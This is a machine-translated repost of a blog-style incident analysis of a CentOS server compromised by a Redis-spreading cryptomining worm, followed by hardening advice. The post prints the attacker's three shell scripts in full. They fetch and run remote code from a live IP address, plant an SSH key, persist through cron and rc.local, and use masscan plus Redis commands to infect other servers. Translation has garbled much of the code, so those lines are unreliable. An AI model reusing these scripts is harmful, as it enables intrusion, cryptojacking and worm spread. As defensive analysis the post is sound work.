Python戦闘コミュニティ
Java戦闘コミュニティ
長押しして以下のQRコードを特定し、必要に応じて追加します
QRコードをスキャンして、カスタマーサービスを追加します
Pythonコミュニティに参加する▲
QRコードをスキャンして、カスタマーサービスを追加します
Javaコミュニティに参加する▲
ソース丨ネットワークセキュリティプログラミングとハッカープログラマー
https://mp.weixin.qq.com/s/LPMoORacJyDYtE74-zrF1w
0x00背景
月曜日の朝にオフィスに着くとすぐに、同僚がサーバーの1つにログインできなかったと言うのを聞いた。私はそれを真剣に受け止めなかった。私は朝食を食べ続け、通貨価格が再び下がるかどうかを確認した。しばらくすると、運用保守の同僚も到着し、息を切らして言いました。サーバーの1つがAlibaba Cloudによってフリーズされました。理由:悪意のあるアウトソーシング。私はsauerkrautの詰め物をしたパンを置き、しばらくの間sshを接続し、拒否され、デフォルトのポート22がブロックされていることを尋ねました。運用・保守の同僚にポートの変更を依頼してすぐに接続しましたが、ちなみにログイン名:rootとXiaobaiのパスワードを8桁未満で見て冷たく感じました:ハッキングされました!
0x01手がかりを見つける
サーバーシステムCentOS6.Xは、nginx、tomcat、redis、およびその他のアプリケーションを展開しました。最初にデータベースをローカルにバックアップし、次にtopコマンドをチェックします。gpg-agentdと呼ばれる同じ名前の2つの99%プロセスがまだ実行されています。
出典:Hefe Kan Snow Academy
gpgをググったところ、結果は次のとおりでした。
GPGが提供するgpg-agentは、SSHプロトコルのサポートを提供します。これにより、キー管理を大幅に簡素化できます。
非常に深刻なプログラムのように見えますが、サーバー上のプロセスを注意深く見て、その後に文字dが続きます。これは非常に偽装されており、Windows上のsvchost.exeのように見えるさまざまなウイルスを人々に思い出させます。続ける
psehoコマンド-p23374
netstat -pan | grep 23374
pid:23374プロセスの起動パスとネットワークステータスを確認します。つまり、図1のディレクトリに移動し、ハッカーが残したバイナリ実行可能ファイルを見つけます。次に私を待っている2つの質問があります:
1.ファイルはどのようにアップロードされますか?
2.このファイルの目的は何ですか、またはハッカーは何をしたいですか?
履歴を見ると、記録はすべてクリアされ、痕跡は残っていません。さらにメッセージを注文し続けます、
深夜12時頃にサーバーにたくさんのソフトウェアがインストールされているのを見ましたが、そのうちのいくつかが気になりました。詳しくは以下で説明します。検索中に推測して、何か悪いことをした場合、どこで大騒ぎして自動的に開始するのでしょうか?タイミングスタート?はい、タスクを計画します。
crontab -e
案の定、手がかりが見つかりました。
0x02動機
上記のスケジュールされたタスクは、15分ごとにサーバーからスクリプトをダウンロードしてスクリプトを実行することを意味します。スクリプトをダウンロードして見てみましょう。
curl -fsSL 159.89.190.243/ash.php> ash.sh
スクリプトの内容は次のとおりです。
うなめ-a
id
ホスト名
setenforce 0 2> / dev / null
ulimit -n 50000
ulimit -u 50000
crontab -r 2> / dev / null
rm -rf / var / pool / cron / * 2> / dev / null
mkdir -p / var / pool / cron / crontabs 2> / dev / null
mkdir -p /root/.ssh 2> / dev / null
エコー 'のssh-rsaのAAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa / oKCWk0NNKmMza8YGLBiJsq / zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB / B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo / szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph / xBj8wGKpHFP0xMbSNdZ / cmLMZ5S14XFSVSjCzIa0 + xigBIrdgo2p5nBtrpYZ2 / GN3 + THY + PNUqx redisX'> /root/.ssh/authorized_keys
echo '* / 15 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / pool / cron / root
echo '* / 20 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / pool / cron / crontabs / root
yum install -y bash 2> / dev / null
apt install -y bash 2> / dev / null
apt-get install -y bash 2> / dev / null
bash -c'curl -fsSL 159.89.190.243/bsh.php|bash '2> / dev / null
スクリプトの主な目的を大まかに分析します。
1つ目は、SELinuxを閉じ、シェルリソースのアクセス制限を削除してから、/ root / .ssh / authorized_keysファイルにssh公開キーを生成して、ハッカーがこのサーバーにログインするたびに、パスワードなしでログインできるようにすることです。スクリプトを実行すると、はるかに便利になります。 sshキーに関する記事については、SSHの原理とアプリケーションに関するこの記事を参照してください。次にbashをインストールし、最後に2番目のスクリプトbsh.phpをダウンロードして実行します。
bsh.pbpのダウンロードと分析を続けます。内容は次のとおりです。
sleep $(seq 3 7 | sort -R | head -n1)
cd / tmp || cd / var / tmp
睡眠1
mkdir -p .ICE-unix / ... && chmod -R 777 .ICE-unix && cd .ICE-unix / .. ..
睡眠1
if [-f .watch]; その後
rm -rf .watch
出口0
あります
睡眠1
エコー1> .watch
睡眠1
ps x | awk '!/ awk / && / redisscan | ebscan | redis-cli / {print $ 1}' | xargs kill -9 2> / dev / null
ps x | awk '!/ awk / && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $ 1}' | xargs kill -9 2> / dev / null
睡眠1
もし![-x / usr / bin / gpg-agentd]; その後
curl -s -o / usr / bin / gpg-agentd 159.89.190.243/dump.db
エコー '/ usr / bin / gpg-agentd'> /etc/rc.local
echo'curl -fsSL 159.89.190.243/ash.php|sh '>> /etc/rc.local
echo'exit 0 '>> /etc/rc.local
あります
睡眠1
chmod + x / usr / bin / gpg-agentd && / usr / bin / gpg-agentd || rm -rf / usr / bin / gpg-agentd
睡眠1
もし![-x "$(command -v masscan)"]; その後
rm -rf / var / lib / apt / lists / *
rm -rf x1.tar.gz
if [-x "$(command -v apt-get)"]; その後
エクスポートDEBIAN_FRONTEND = noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -ybuild-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap *
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
あります
if [-x "$(command -v yum)"]; その後
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
あります
睡眠1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
睡眠1
[-f x1.tar.gz] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
あります
スリープ3 && rm -rf .watch
bash -c'curl -fsSL 159.89.190.243/rsh.php|bash '2> / dev / null
このスクリプトのコードは比較的長いですが、4つの主要な機能があります。
1.リモートコードをローカルにダウンロードし、実行権限chmod u + xを追加します。
2. rc.localを変更して、起動時にローカルコードが自動的に実行されるようにします。
3. githubでオープンソーススキャナーコードをダウンロードし、関連する依存ソフトウェアをインストールします。これは、上記のメッセージで見た記録です。
4. 3番目のスクリプトをダウンロードして、実行します。
githubにアクセスして、このオープンソースコードを確認しました。とても簡単です。
MASSCAN:マスIPポートスキャナー
これは最速のインターネットポートスキャナーです。インターネット全体を6分以内にスキャンでき、1秒あたり1,000万パケットを送信します。最も有名なポートスキャナーであるnmapと同様の結果が得られます。内部的には、非同期送信を使用して、scanrand、unicornscan、ZMapのように動作します。主な違いは、これらの他のスキャナーよりも高速であるということです。さらに、より柔軟性があり、任意の>アドレス範囲とポート範囲を許可します。
注:masscanはカスタムTCP / IPスタックを使用します。単純なポートスキャン以外のものは、ローカルTCP / IPスタックとの競合を引き起こします。つまり、-Sオプションを使用して別のIPアドレスを使用するか、masscanが使用するポートをファイアウォールで保護するようにオペレーティングシステムを構成する必要があります。
nmapよりも高速な毎秒1,000万パケットの送信(毎秒1,000万パケットの送信)。AlibabaCloudがサーバーをフリーズする理由を理解するのは難しいことではありません。readmeを読んだ後、詳細には触れませんでした。 3番目のスクリプトをダウンロードします。
setenforce 0 2> / dev / null
ulimit -n 50000
ulimit -u 50000
睡眠1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2> / dev / null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2> / dev / null
睡眠1
rm -rf .dat .shard .ranges .lan 2> / dev / null
睡眠1
echo'config set dbfilename "backup.db"> .dat
エコー '保存' >> .dat
echo'flushall '>> .dat
echo'set backup1 "\ n \ n \ n * / 2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat
echo'set backup2 "\ n \ n \ n * / 3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat
echo'set backup3 "\ n \ n \ n * / 4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat
echo'set backup4 "\ n \ n \ n * / 5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n" '>> .dat
echo'config set dir "/ var / pool / cron /" '>> .dat
echo'config set dbfilename "root" '>> .dat
エコー '保存' >> .dat
echo'config set dir "/ var / pool / cron / crontabs" '>> .dat
エコー '保存' >> .dat
睡眠1
masscan --max-rate 10000 -p6379,6380 --shard $(seq 1 22000 | sort -R | head -n1)/ 22000 --exclude 255.255.255.255 0.0.0.0/0 2> / dev / null | awk '{print $ 6、substr($ 4、1、length($ 4)-4)}' | 並べ替え| uniq> .shard
睡眠1
-rhpを読みながら; 行う
cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null&
完了<.shard
睡眠1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2> / dev / null | awk '{print $ 6、substr($ 4、1、length($ 4)-4)}' | 並べ替え| uniq> .ranges
睡眠1
-rhpを読みながら; 行う
cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null&
完了<.ranges
睡眠1
ip a | grep -oE '([0-9] {1,3}。?){4} / [0-9] {2}' 2> / dev / null | sed's / \ / \([0-9] \ {2 \} \)/ \ / 16 / g '> .inet
睡眠1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $ 6、substr($ 4、1、length($ 4)-4)}' | 並べ替え| uniq> .lan
睡眠1
-rhpを読みながら; 行う
cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null&
完了<.lan
睡眠60
rm -rf .dat .shard .ranges .lan 2> / dev / null
最初の2つのスクリプトがサーバー上でバイナリファイルのみをダウンロードして実行する場合、このスクリプトは実際にウイルスの力を示しています。以下でこのスクリプトを分析してみましょう。
最初にシステム環境を変更することについては何も言うことはありません。次のファイル書き込み操作は少しおなじみです。redisを使用したことがある場合は、これがredisの構成であると推測できるはずです。この構成を作成すると、redisの脆弱性を利用して、キャッシュされたコンテンツをローカルファイルに書き込むことができます。その結果、ローカル秘密鍵を使用して、公開鍵が書き込まれるサーバーにログインします。この記事の冒頭にあるパスワードなしでログインできます。 /Root/.ssh/authorized_keys。ログイン後、スケジュールされたタスクが定期的に実行され、スクリプトがダウンロードされます。構成ファイルの準備ができたら、masscanを使用してネットワーク全体でredisサーバーをスキャンし、ブロイラーを見つけます。6379がredisサーバーのデフォルトポートであることに注意してください。redisリスニングポートがパブリックIPまたは0.0.0.0の場合、そしてパスワード保護はありません、申し訳ありませんが、あなたは採用されます。
0x03の概要
これら3つのスクリプトを順番に分析することで、このウイルスのひどい部分を確認できます。まず、ssh公開キーを書き込んでログイン許可を取得し、次にリモートバイナリファイルをダウンロードして実行し、最後にredisの脆弱性をコピーして、ネットワーク全体にすばやく拡散します。 、指数関数的に増加します。それで問題は、このサーバーがどのように捕らえられたのかということです。redis.confを読んだ後、バインドのアドレスは127.0.0.1で、問題ありません。このことから、ルートアカウントは残酷にクラックされているはずだったと推測できます。私の考えを検証するために、lastbを調べましたが、多くの記録があります。
最後の質問が1つあります。このgpg-agentdプログラムは何をするのでしょうか。当時の私の最初の反応はマイニングマシンでした。デジタル通貨が高すぎて、分散型マイニングマシンの需要が高まり、この灰色の産業チェーンが誕生したからです。それで、私はこのgpg-agentdをidaにドラッグし、bitcoin、eth、mine、およびその他の関連する単語を文字列で検索し、最終的にこれを見つけました:
nicehash.comを開いて見てください、すべてが明確です。
0x04セキュリティアドバイス
1.サーバー
1.ROOTを無効にします
2.ユーザー名とパスワードをできるだけ複雑にし
ます3.sshのデフォルトポート22を変更します
4.DenyHostsアンチブルートフォースソフトウェアをインストールします
5.パスワードログインを無効にし、RSA公開キーを使用してログインします
2、redis
1.0.0.0.0を含むパブリックIPモニタリングを無効にします。2。パスワードを使用してredisへのアクセスを制限します。3
。下位の権限のアカウントを使用してredisを実行します。
この時点で、侵入プロセス全体が基本的に分析されています。サンプルに興味がある場合は、自分でカールするか、仮想マシンに移動して上記のスクリプトを実行することもできます。私の能力の限界を考えると、記事に怠慢や間違いがあることは避けられません。訂正してください。
程序员专栏 扫码关注填加客服 长按识别下方二维码进群
近期精彩内容推荐: 中美日印程序员收入对比 程序员 悲催的一天 SringMVC从入门到源码,这一篇就够 10个Python可视化动图,用心且精美
在看点这里好文分享给更多人↓↓